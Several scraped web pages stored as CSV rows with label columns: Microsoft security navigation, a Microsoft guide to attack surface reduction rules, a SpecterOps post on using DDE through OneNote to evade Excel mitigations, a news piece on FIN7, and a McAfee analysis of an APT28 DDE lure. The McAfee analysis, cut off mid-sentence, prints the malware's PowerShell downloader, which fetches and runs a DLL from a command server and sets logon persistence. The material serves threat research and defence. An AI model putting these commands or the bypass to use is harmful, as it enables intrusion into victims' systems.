SUBMIT","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0" -"Breaking news from around the world Get the Bing + MSN extension No thanks Add it now Skip to main content Microsoft MSRC MSRC MSRC Home Report an issue Submit Security Vulnerability Submit Abuse Report Submit Azure Pentest Notification Customer guidance Security Update Guide Exploitability index Developer API access Engage Microsoft Bug Bounty Programs Microsoft Active Protections Program BlueHat Security Conference Windows Security Servicing Criteria Who we are Mission Cyber Defense Operations Center Coordinated Vulnerability Disclosure Social Blogs Microsoft Security Response Center Security Research & Defense BlueHat Conference Blog Acknowledgments Security Researcher Acknowledgments Online Services Researcher Acknowledgments MSVR Acknowledgments More All Microsoft Office Windows Surface Xbox Deals Support Software Windows apps OneDrive Outlook Skype OneNote PCs & Devices PCs & tablets Accessories Entertainment Xbox games PC games Windows digital games Movies & TV Books Business Microsoft Azure Microsoft Dynamics 365 Microsoft 365 Microsoft Industry Data platform Microsoft Advertising Licensing Developer & IT .NET Visual Studio Windows Server Windows Dev Center Docs Other Microsoft Store Microsoft Rewards Free downloads & security Education Store locations Gift cards View Sitemap Search Cancel Sign in < img alt=""DCSIMG"" width=""1"" height=""1"" src=""http://m.webtrends.com/dcsjwb9vb00000c932fd0rjc7_5p3t/njs.gif?dcsuri=/nojavascript&WT.js=No"" />
< img src=""http://msstonojstechnet.112.2o7.net/b/ss/msstonojstechnet/1/H.20.2--NS/0"" height=""1"" width=""1"" border=""0"" alt="""" />< /a> What's new Surface Pro 6 Surface Laptop 2 Surface Go Xbox One X Xbox One S VR & mixed reality Windows 10 apps Office apps Microsoft Store Account profile Download Center Microsoft Store support Returns Order tracking Store locations Buy online, pick up in store Education Microsoft in education Office for students Office 365 for schools Deals for students & parents Microsoft Azure in education Enterprise Azure AppSource Automotive Government Healthcare Manufacturing Financial services Retail Developer Microsoft Visual Studio Windows Dev Center Developer Network TechNet Microsoft developer program Channel 9 Office Dev Center Microsoft Garage Company Careers About Microsoft Company news Privacy at Microsoft Investors Diversity and inclusion Accessibility Security English (United States) Sitemap Contact Microsoft Privacy & cookies Terms of use Trademarks Safety & eco About our ads \xc2\xa9 Microsoft 2019","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0" -"Enable ASR rules individually to protect your organization | Microsoft Docs Skip to main content Contents Exit focus mode Feedback Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Enable attack surface reduction rules 05/13/2019 5 minutes to read In this article Attack surface reduction rules help prevent actions and apps that malware often uses to infect computers. You can set attack surface reduction rules for computers running Windows 10 or Windows Server 2019. Each ASR rule contains three settings: Not configured: Disable the ASR rule Block: Enable the ASR rule Audit: Evaluate how the ASR rule would impact your organization if enabled To use ASR rules, you need either a Windows 10 Enterprise E3 or E5 license. We recommend an E5 license so you can take advantage of the advanced monitoring and reporting capabilities available in Microsoft Defender Advanced Threat Protection (Microsoft Defender ATP). These advanced capabilities aren't available with an E3 license, but you can develop your own monitoring and reporting tools to use in conjunction with ASR rules. You can enable attack surface reduction rules by using any of these methods: Microsoft Intune Mobile Device Management (MDM) System Center Configuration Manager (SCCM) Group Policy PowerShell Enterprise-level management such as Intune or SCCM is recommended. Enterprise-level management will overwrite any conflicting Group Policy or PowerShell settings on startup. Exclude files and folders from ASR rules You can exclude files and folders from being evaluated by most attack surface reduction rules. This means that even if an ASR rule determines the file or folder contains malicious behavior, it will not block the file from running. This could potentially allow unsafe files to run and infect your devices. Warning Excluding files or folders can severely reduce the protection provided by ASR rules. Excluded files will be allowed to run, and no report or event will be recorded. If ASR rules are detecting files that you believe shouldn't be detected, you should use audit mode first to test the rule. Important File and folder exclusions do not apply to the following ASR rules: Block process creations originating from PSExec and WMI commands Block JavaScript or VBScript from launching downloaded executable content You can specify individual files or folders (using folder paths or fully qualified resource names) but you can't specify which rules the exclusions apply to. An exclusion is applied only when the excluded application or service starts. For example, if you add an exclusion for an update service that is already running, the update service will continue to trigger events until the service is stopped and restarted. ASR rules support environment variables and wildcards. For information about using wildcards, see Use wildcards in the file name and folder path or extension exclusion lists. The following procedures for enabling ASR rules include instructions for how to exclude files and folders. Intune In Intune, select Device configuration > Profiles. Choose an existing endpoint protection profile or create a new one. To create a new one, select Create profile and enter information for this profile. For Profile type, select Endpoint protection. If you've chosen an existing profile, select Properties and then select Settings. In the Endpoint protection pane, select Windows Defender Exploit Guard, then select Attack Surface Reduction. Select the desired setting for each ASR rule. Under Attack Surface Reduction exceptions, you can enter individual files and folders, or you can select Import to import a CSV file that contains files and folders to exclude from ASR rules. Each line in the CSV file should be in the following format: C:\\folder, %ProgramFiles%\\folder\\file, C:\\path Select OK on the three configuration panes and then select Create if you're creating a new endpoint protection file or Save if you're editing an existing one. MDM Use the ./Vendor/MSFT/Policy/Config/Defender/AttackSurfaceReductionRules configuration service provider (CSP) to individually enable and set the mode for each rule. The following is a sample for reference, using GUID values for ASR rules. OMA-URI path: ./Vendor/MSFT/Policy/Config/Defender/AttackSurfaceReductionRules Value: {75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84}=2|{3B576869-A4EC-4529-8536-B80A7769E899}=1|{D4F940AB-401B-4EfC-AADC-AD5F3C50688A}=2|{D3E037E1-3EB8-44C8-A917-57927947596D}=1|{5BEB7EFE-FD9A-4556-801D-275E5FFC04CC}=0|{BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550}=1 The values to enable, disable, or enable in audit mode are: Disable = 0 Block (enable ASR rule) = 1 Audit = 2 Use the ./Vendor/MSFT/Policy/Config/Defender/AttackSurfaceReductionOnlyExclusions configuration service provider (CSP) to add exclusions. Example: OMA-URI path: ./Vendor/MSFT/Policy/Config/Defender/AttackSurfaceReductionOnlyExclusions Value: c:\\path|e:\\path|c:\\Whitelisted.exe Note Be sure to enter OMA-URI values without spaces. SCCM In System Center Configuration Manager, click Assets and Compliance > Endpoint Protection > Windows Defender Exploit Guard. Click Home > Create Exploit Guard Policy. Enter a name and a description, click Attack Surface Reduction, and click Next. Choose which rules will block or audit actions and click Next. Review the settings and click Next to create the policy. After the policy is created, click Close. Group Policy Warning If you manage your computers and devices with Intune, SCCM, or other enterprise-level management platform, the management software will overwrite any conflicting Group Policy settings on startup. On your Group Policy management computer, open the Group Policy Management Console, right-click the Group Policy Object you want to configure and click Edit. In the Group Policy Management Editor go to Computer configuration and click Administrative templates. Expand the tree to Windows components > Windows Defender Antivirus > Windows Defender Exploit Guard > Attack surface reduction. Select Configure Attack surface reduction rules and select Enabled. You can then set the individual state for each rule in the options section: Click Show... and enter the rule ID in the Value name column and your desired state in the Value column as follows: Disable = 0 Block (enable ASR rule) = 1 Audit = 2 To exclude files and folders from ASR rules, select the Exclude files and paths from Attack surface reduction rules setting and set the option to Enabled. Click Show and enter each file or folder in the Value name column. Enter 0 in the Value column for each item. PowerShell Warning If you manage your computers and devices with Intune, SCCM, or other enterprise-level management platform, the management software will overwrite any conflicting PowerShell settings on startup. Type powershell in the Start menu, right-click Windows PowerShell and click Run as administrator. Enter the following cmdlet: Set-MpPreference -AttackSurfaceReductionRules_Ids -AttackSurfaceReductionRules_Actions Enabled To enable ASR rules in audit mode, use the following cmdlet: Add-MpPreference -AttackSurfaceReductionRules_Ids -AttackSurfaceReductionRules_Actions AuditMode To turn off ASR rules, use the following cmdlet: Add-MpPreference -AttackSurfaceReductionRules_Ids -AttackSurfaceReductionRules_Actions Disabled Important You must specify the state individually for each rule, but you can combine rules and states in a comma-separated list. In the following example, the first two rules will be enabled, the third rule will be disabled, and the fourth rule will be enabled in audit mode: Set-MpPreference -AttackSurfaceReductionRules_Ids ,,, -AttackSurfaceReductionRules_Actions Enabled, Enabled, Disabled, AuditMode You can also the Add-MpPreference PowerShell verb to add new rules to the existing list. Warning Set-MpPreference will always overwrite the existing set of rules. If you want to add to the existing set, you should use Add-MpPreference instead. You can obtain a list of rules and their current state by using Get-MpPreference To exclude files and folders from ASR rules, use the following cmdlet: Add-MpPreference -AttackSurfaceReductionOnlyExclusions """" Continue to use Add-MpPreference -AttackSurfaceReductionOnlyExclusions to add more files and folders to the list. Important Use Add-MpPreference to append or add apps to the list. Using the Set-MpPreference cmdlet will overwrite the existing list. Related topics Reduce attack surfaces with attack surface reduction rules Evaluate attack surface reduction Enable cloud-delivered protection Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Feedback Send feedback about This product This page You may also leave feedback directly on GitHub . This page You may also leave feedback directly on GitHub . Liquid error: Can't find the localized string giveDocumentationFeedback for template Conceptual. Issue Title Leave a comment Submit feedback Loading feedback... There are no open issues There are no closed issues View on GitHub Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0" -"Sign in Get started Posts By SpecterOps Team Members ABOUT ALL POSTS SPECTEROPS.IO Reviving DDE: Using OneNote and Excel for Code Execution Matt Nelson Matt Nelson Follow Jan 29, 2018 \xc2\xb7 6 min read TL;DR: You can achieve DDE execution with Excel SpreadSheets embedded within OneNote. This bypasses the original Excel mitigation ruleset (Microsoft has released a patch to properly mitigate this) as well as the Protected View sandbox \xf0\x9f\x99\x82 Dynamic Data Exchange (DDE) has been a hot topic as of late. For those unfamiliar with DDE, it is designed to transfer data between two applications. In 2014, Contextis put out a nice blog post on using DDE in Microsoft Excel for code execution by utilizing the \xe2\x80\x9c=DDE()\xe2\x80\x9d formula. Then, on October 9th 2017, SensePost released a really great blog post on abusing the DDEAUTO field code in Microsoft Word to get code execution. Shortly after, various malware families adopted the technique and it was quickly seen in the wild. After seeing a spike in malicious use, Will Dormann (@wdormann) of US-CERT published some registry changes that would widely mitigate most DDE threats. These changes disabled DDE and prevented links from automatically updating for Word and Excel. Will added a OneNote block after sharing the details outlined below with him privately. Unfortunately the only fix was to completely kill embedded files, which is less than ideal. You can find these registry changes here: https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b This guidance was really helpful to those dealing with actors using DDE techniques more and more. Then, on November 8th 2017, Microsoft published an official post that outlines mitigating the DDE threat for those who don\xe2\x80\x99t use the protocol in their environment, which was released under Advisory ADV170021 with additional documentation here. These mitigations were largely just for Word and it involved preventing any execution entirely as opposed to stopping automatic link updating. In addition to this post, Microsoft also stated that Protected View will prevent automatic DDE execution and that users should open untrusted documents with caution. After seeing these new DDE mitigation recommendations, I became curious how these were handled when executed from within a different Office application, such as Publisher or OneNote. At the time, Will Dormann\xe2\x80\x99s gist was the only source for mitigation options in other Office apps (such as Excel) as Microsoft only released official guidance for Word. So, why OneNote? Well, it allows a user to embed Excel spreadsheets into a note document and then save it. This provides the end user the ability to reference or use Excel features directly within OneNote. As you may know, you can abuse DDE in Excel to get code execution! Ideally, Will\xe2\x80\x99s Excel registry changes to stop DDE attacks would apply to any Excel sheets embedded in OneNote. Unfortunately, this wasn\xe2\x80\x99t the case. When implementing Will\xe2\x80\x99s Excel registry change (specifically \xe2\x80\x9cDDEAllowed\xe2\x80\x9d set to DWORD 0), you will see something like this when opening a spreadsheet that contains a DDE formula: Excel DDE Blocked via Registry Mitigations So, the Excel DDE block is working as expected. Now, let\xe2\x80\x99s look at OneNote. In order to utilize the Excel functionality in OneNote, you can go to \xe2\x80\x9cSpreadSheet\xe2\x80\x9d under the \xe2\x80\x9cFiles\xe2\x80\x9d tab and either import an existing Excel Spreadsheet or create a new one. So, OneNote allows us to import an existing spreadsheet. What happens if we import a DDE-laced spreadsheet? First, we need to create it. Ryan Hanson (@ryhanson) put out a tweet showing that you can manipulate the warning box during DDE execution and change the binary name. This can be helpful as you can change it to something like \xe2\x80\x9cMSEXCEL.exe\xe2\x80\x9d instead of displaying \xe2\x80\x9ccmd.exe\xe2\x80\x9d or \xe2\x80\x9cpowershell.exe\xe2\x80\x9d. Source: https://twitter.com/ryHanson/status/918598525792935936 After adding that formula to an Excel spreadsheet and saving it, we can now test it to ensure it displays properly. To do so, I have removed the Excel DDE mitigation registry changes. Execution without registry mitigations applied Great, so it works. Next, let\xe2\x80\x99s test it with Will\xe2\x80\x99s Excel registry changes applied: Excel DDE Blocked via Registry Mitigations Awesome, so these changes do indeed block the Excel DDE POC that we have just created. Now that we have our DDE spreadsheet ready and tested, we can import it into OneNote by going to \xe2\x80\x9cInsert->SpreadSheet->Existing Excel SpreadSheet\xe2\x80\x9d OneNote will ask you to browse to the file you want to import, which will be the previously created DDE laced spreadsheet. Next, it will ask you if you want to attach the file or insert the spreadsheet. We will do \xe2\x80\x9cInsert SpreadSheet\xe2\x80\x9d OneNote will then import the spreadsheet and during that process, it will attempt to execute your DDE command. To prevent that, simply click \xe2\x80\x9cNo\xe2\x80\x9d Importing weaponized Excel Sheet Finally, save the OneNote file. At this point, that OneNote file has a DDE laced Excel SpreadSheet directly embedded in it. Now, let\xe2\x80\x99s see what happens when the Excel SpreadSheet is accessed from within the OneNote file with the Excel DDE mitigation registry changes in place: DDE execution despite Excel registry changes Clicking \xe2\x80\x9cYes\xe2\x80\x9d results in the command being executed: DDE execution despite Excel registry changes So, despite blocking DDE in Excel via \xe2\x80\x9cDDEAllowed\xe2\x80\x9d, the functionality is still there when accessed through OneNote. After chatting with Will Dormann, the only working mitigation is to set \xe2\x80\x9cDisableEmbeddedFiles\xe2\x80\x9d to 1. This obviously kills all file embedding functionality as a side-effect, which isn\xe2\x80\x99t great for usability. As mentioned above, one of Microsoft\xe2\x80\x99s statements notes that Protected View will prevent the DDE vectors when originating from an untrusted source (such as the internet). This is the case for most Office applications as any content originating from an untrusted source is opened in a sandbox first. OneNote, however, is not enrolled in Protected View and will not trigger it when pulled from the internet. If a user has OneNote installed, an attacker can embed a weaponized Excel spreadsheet into a OneNote file and send it to a victim via a weblink or an email attachment. When the user receives the OneNote file and opens the embedded spreadsheet, it will not open in Protected View and they will simply be presented with the DDE prompt (which you can tamper with as demonstrated above): Demo of DDE execution from the internet (bypassing Protected View sandbox) *It should be noted that the Protected View aspect was reported to MSRC on April 20th, 2017 and it was deemed not a security issue. So, what can you do? Well, at the time, the only mitigation was to completely kill embedding in OneNote. This was reported to Microsoft on October 10th of 2017 and on January 9th, 2018 they pushed out an update to all Office versions going back to 2007. The Excel update was added to the already existing Advisory ADV170021, in which that advisory now details how to implement mitigations for both Excel and Word (since it was previously only Word that was available). Additional documentation can be found here. This update created a value you can add under Microsoft Excel\xe2\x80\x99s security options in the registry. By setting \xe2\x80\x9cDisableDDEServerLaunch\xe2\x80\x9d to DWORD 1, DDE will effectively be neutered for Excel. This is important because OneNote itself wasn\xe2\x80\x99t entirely interesting. It was the embedded Excel functionality that made this attack work. By adding mitigation options for Excel, users can protect themselves from this attack. Additionally, you can employ Attack Surface Reduction (ASR) rules in Windows 10 1709 to prevent not only DDE attacks, but other attacks where an Office program is spawning a child process. You can read more on ASR here. -Matt N. Originally published at enigma0x3.net on January 29, 2018. Excel Red Team Phishing Office Dde 96 claps Matt Nelson WRITTEN BY Matt Nelson Follow Red Teamer | Security Researcher | Enjoys abusing features | Tweets are my own | http://github.com/enigma0x3 Posts By SpecterOps Team Members Posts By SpecterOps Team Members Follow Posts from SpecterOps team members on various topics relating information security Write the first response More From Medium More from Posts By SpecterOps Team Members Enter Mordor \xf0\x9f\x98\x88: Pre-recorded Security Events from Simulated Adversarial Techniques \xf0\x9f\x9b\xa1 Roberto Rodriguez Roberto Rodriguez in Posts By SpecterOps Team Members Aug 4 \xc2\xb7 13 min read 148 More from Posts By SpecterOps Team Members Gathering Open Source Intelligence Christopher Maddalena Christopher Maddalena in Posts By SpecterOps Team Members Oct 2, 2018 \xc2\xb7 19 min read 629 More from Posts By SpecterOps Team Members CVE-2018\xe2\x80\x938414: A Case Study in Responsible Disclosure Matt Nelson Matt Nelson in Posts By SpecterOps Team Members Oct 23, 2018 \xc2\xb7 12 min read 474 Discover Medium Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch Make Medium yours Follow all the topics you care about, and we\xe2\x80\x99ll deliver the best stories for you to your homepage and inbox. Explore Become a member Get unlimited access to the best stories on Medium \xe2\x80\x94 and support writers while you\xe2\x80\x99re at it. Just $5/month. Upgrade About Help Legal To make Medium work, we log user data. By using Medium, you agree to our Privacy Policy, including cookie policy.","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0" -"Fin7 weaponization of DDE is just their latest slick move, say researchers - CyberScoop Subscribe About RSS Brought to you by Government Transportation Healthcare Technology Financial Watch Listen Attend Content Studio financial Fin7 weaponization of DDE is just their latest slick move, say researchers (Getty) Share Written by Shaun Waterman Oct 16, 2017 | CyberScoop Written by Shaun Waterman Oct 16, 2017 | CYBERSCOOP When cybercrime gang FIN7 weaponized a new attack vector against Microsoft applications within a day of it being published last week, it was just the latest slick move from a threat group who\xe2\x80\x99ve been consistently one step ahead of cyber defenders. A timeline of different attack vectors used by the group\xc2 compiled by Morphisec researchers shows that FIN7 typically adopts a new technique within \xe2\x80\x9ca couple of days\xe2\x80\x9d of an attack being discovered, once the number of security solutions that detect it gets into double figures. The Morphisec\xc2 researchers analyzed scoring\xc2 of FIN7 attachment lures by VirusTotal \xe2\x80\x94 a service that scans\xc2 files and tests them against\xc2 56 kinds of security software. \xe2\x80\x9cA look at Virus Total scoring reveals that when a FIN7 campaign is first active, is goes mostly undetected by security solutions. The malicious documents do not score more than 1-3 detections. Within a couple of days, security solutions update their patterns and those documents score around 10/56 or higher,\xe2\x80\x9d according to their report. But by that time, the authors write, FIN7 is already deploying new tools, by simply tweaking the code or other patterns that the security software is hunting for. This technique \xe2\x80\x9cdiminishes the usefulness of reactive, pattern-based detection rules,\xe2\x80\x9d according to Morphisec. Other researchers have analyzed FIN7\xe2\x80\x99s tactics, noting that they follow a familiar pattern for skilled hackers: Initial compromise; establish foothold; escalate privileges; maintain presence; move laterally; and finally complete mission. The constant shifting of attack modes is \xe2\x80\x9cAt the heart of FIN7\xe2\x80\x99s business model,\xe2\x80\x9d the Morphisec researchers conclude. \xe2\x80\x9cEvery campaign includes enough new features to make them unknowable\xc2 \xe2\x80\xa6 And as security vendors scramble to catch up, FIN7 is already preparing its next attack.\xe2\x80\x9d Indeed, that swift adoption\xc2 of new techniques caused one researcher at\xc2 InfoSecurity Europe to comment of FIN7,\xc2 \xe2\x80\x9cIn most environments, prevention is not possible,\xe2\x80\x9d\xc2 and detection is the best\xc2 defenders can hope for. Earlier this year, when FIN7 encountered a Morphisec researcher during an incident response, the group first blocked the IP he was using and then abandoned their entire command and control infrastructure. Such caution is worthy of a high-end financial cyber crime group thought to be behind\xc2 many of the most audacious recent online bank thefts \xe2\x80\x94 including the one identified by Kaspersky\xc2 dubbed \xe2\x80\x9cTake the money, b*tch!\xe2\x80\x9d after a line of instructions in the code. The group were among the first to adopt super stealthy fileless malware \xe2\x80\x94 an attack method in which hackers eschew the download and installation of easily detectable malicious software. Instead, they use tools already installed on the target\xe2\x80\x99s own computers \xe2\x80\x94\xc2 powerful and widely trusted system and security\xc2 programs like\xc2 PowerShell\xc2 or\xc2 Metasploit\xc2 \xe2\x80\x94 to inject their malicious code directly into the computer\xe2\x80\x99s working memory. The commands to do this are typically hidden in an attachment, abusing a functionality like Visual Basic, Object Linking or \xe2\x80\x94 as in last week\xe2\x80\x99s example \xe2\x80\x94 Dynamic Data Exchange or DDE. It is these attachment lures that the Morphisec researchers analyzed for their timeline. The lures rely on social engineering \xe2\x80\x94 Microsoft users will generally get a pop-up box asking them if they want to \xe2\x80\x9cenable content\xe2\x80\x9d or \xe2\x80\x9cupdate links\xe2\x80\x9d in the document they\xe2\x80\x99re opening \xe2\x80\x94 and are typically spear-phished very carefully at a small number of targets. The kind of pop-up window displayed by malicious Word attachments using fileless malware Earlier this year, FIN7 was suspected of being behind an attack that used emails appearing to come from the SEC\xe2\x80\x99s Electronic Data Gathering, Analysis and Retrieval (EDGAR) online filing system. The emails bore a Microsoft Word attachment titled \xe2\x80\x9cImportant changes to form 10K.\xe2\x80\x9d A 10K is a form that public companies have to submit to the SEC every\xc2 year, and the targets were people involved in their company\xe2\x80\x99s filings \xe2\x80\x94 often meaning their email address was listed on public documents. Last week, researchers at Cisco Talos saw spear-phishing emails, with a similarly spoofed SEC address, bearing an attachment that used DDE to launch a \xe2\x80\x9ccomplex multi-stage infection process,\xe2\x80\x9d typical of FIN7. -In this Story- Dynamic Data Exchange or DDE, fileless malware, FIN7, Morphisec Related news Financial Russian hacker to plead... by Jeff Stone \xe2\x80\xa2 5 hours ago Financial North Korean government... by Shannon Vavra \xe2\x80\xa2 4 days ago Financial FIN7's IT admin pleads... by Jeff Stone \xe2\x80\xa2 6 days ago Ad Specs Sponsor RSS Privacy Policy \xc2\xa9 2019 Scoop News Group | All Rights Reserved Search for: The best cybersecurity news, delivered straight to your inbox. Sign up for our daily newsletter. Privacy Policy We use cookies to provide you with the best experience across all Scoop News Group websites. By using Scoop News Group websites, you consent to the use of cookies. Learn more GOT IT!","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0" -"Home / Other Blogs / McAfee Labs / Threat Group APT28 Slips Office Malware into Doc Citing NYC Terror Attack Threat Group APT28 Slips Office Malware into Doc Citing NYC Terror Attack By Ryan Sherstobitoff on Nov 07, 2017 This blog post was co-written by Michael Rea. During our monitoring of activities around the APT28 threat group, McAfee Advanced Threat Research analysts identified a malicious Word document that appears to leverage the Microsoft Office Dynamic Data Exchange (DDE) technique that has been previously reported by Advanced Threat Research. This document likely marks the first observed use of this technique by APT28. The use of DDE with PowerShell allows an attacker to execute arbitrary code on a victim\xe2\x80\x99s system regardless whether macros are enabled. (McAfee product detection is covered in the Indicators of Compromise section at the end of the document.) APT28, also known as Fancy Bear, has recently focused on using different themes. In this case it capitalized on the recent terrorist attack in New York City. The document itself is blank. Once opened, the document contacts a control server to drop the first stage of the malware, Seduploader, onto a victim\xe2\x80\x99s system. The domain involved in the distribution of Seduploader was created on October 19, 11 days prior to the creation of Seduploader. The document we examined for this post: Filename: IsisAttackInNewYork.docx Sha1: 1c6c700ceebfbe799e115582665105caa03c5c9e Creation date: 2017-10-27T22:23:00Z The document uses the recently detailed DDE technique found in Office products to invoke the command prompt to invoke PowerShell, which runs two commands. The first: C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString(\xe2\x80\x98hxxp://netmediaresources[.]com/config.txt\xe2\x80\x99);powershell -enc $e #.EXE The second PowerShell command is Base64 encoded and is found in the version of config.txt received from the remote server. It decodes as follows: $W=New-Object System.Net.WebClient; $p=($Env:ALLUSERSPROFILE+\xe2\x80\x9d\\vms.dll\xe2\x80\x9d); [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $W.DownloadFile(\xe2\x80\x9chxxp://netmediaresources[.]com/media/resource/vms.dll \xe2\x80\x9c,$p); if (Test-Path $p){ $rd_p=$Env:SYSTEMROOT+\xe2\x80\x9d\\System32\\rundll32.exe\xe2\x80\x9d; $p_a=$p+\xe2\x80\x9d,#1\xe2\x80\xb3; $pr=Start-Process $rd_p -ArgumentList $p_a; $p_bat=($Env:ALLUSERSPROFILE+\xe2\x80\x9d\\vms.bat\xe2\x80\x9d); $text=\xe2\x80\x99set inst_pck = \xe2\x80\x9c%ALLUSERSPROFILE%\\vms.dll\xe2\x80\x9d\xe2\x80\x98+\xe2\x80\x9d`r`n\xe2\x80\x9d+\xe2\x80\x99if NOT exist %inst_pck % (exit)\xe2\x80\x99+\xe2\x80\x9d`r`n\xe2\x80\x9d+\xe2\x80\x99start rundll32.exe %inst_pck %,#1\xe2\x80\x99 [io.File]::WriteAllText($p_bat,$text) New-Item -Path \xe2\x80\x98HKCU:\\Environment\xe2\x80\x99 -Force | Out-Null; New-ItemProperty -Path \xe2\x80\x98HKCU:\\Environment\xe2\x80\x99 -Name \xe2\x80\x98UserInitMprLogonScript\xe2\x80\x99 -Value \xe2\x80\x9c$p_bat\xe2\x80\x9d -PropertyType String -Force | Out-Null; } The PowerShell scripts contact the following URL to download Seduploader: hxxp://netmediaresources[.]com/media/resource/vms.dll The Seduploader sample has the following artifacts: Filename: vms.dll Sha1: 4bc722a9b0492a50bd86a1341f02c74c0d773db7 Compile date: 2017-10-31 20:11:10 Control server: webviewres[.]net The document downloads a version of the Seduploader first-stage reconnaissance implant, which profiles prospective victims, pulling basic host information from the infected system to the attackers. If the system is of interest, then the installation of X-Agent or Sedreco usually follows. We have observed APT28 using Seduploader as a first-stage payload for several years from various public reporting. Based on structural code analysis of recent payloads observed in the campaign, we see they are identical to previous Seduploader samples employed by APT28. We identified the control server domain associated with this activity as webviewres[.]net, which is consistent with past APT28 domain registration techniques that spoof legitimate-sounding infrastructure. This domain was registered on October 25, a few days before the payload and malicious documents were created. The domain was first active on October 29, just days before this version of Seduploader was compiled. The IP currently resolves to 185.216.35.26 and is hosted on the name servers ns1.njal.la and ns2.njal.la. Further McAfee research identified the following related sample: Filename: secnt.dll Sha1: ab354807e687993fbeb1b325eb6e4ab38d428a1e Compile date: 2017-10-30 23:53:02 Control server: satellitedeluxpanorama[.]com. (This domain uses the same name servers as above.) The preceding sample most likely belongs to the same campaign. Based on our analysis it uses the same techniques and payload. We can clearly establish that the campaign involving documents using DDE techniques began on October 25. The domain satellitedeluxpanorama[.]com, used by the implant secnt.dll, resolved to 89.34.111.160 as of November 5. The malicious document 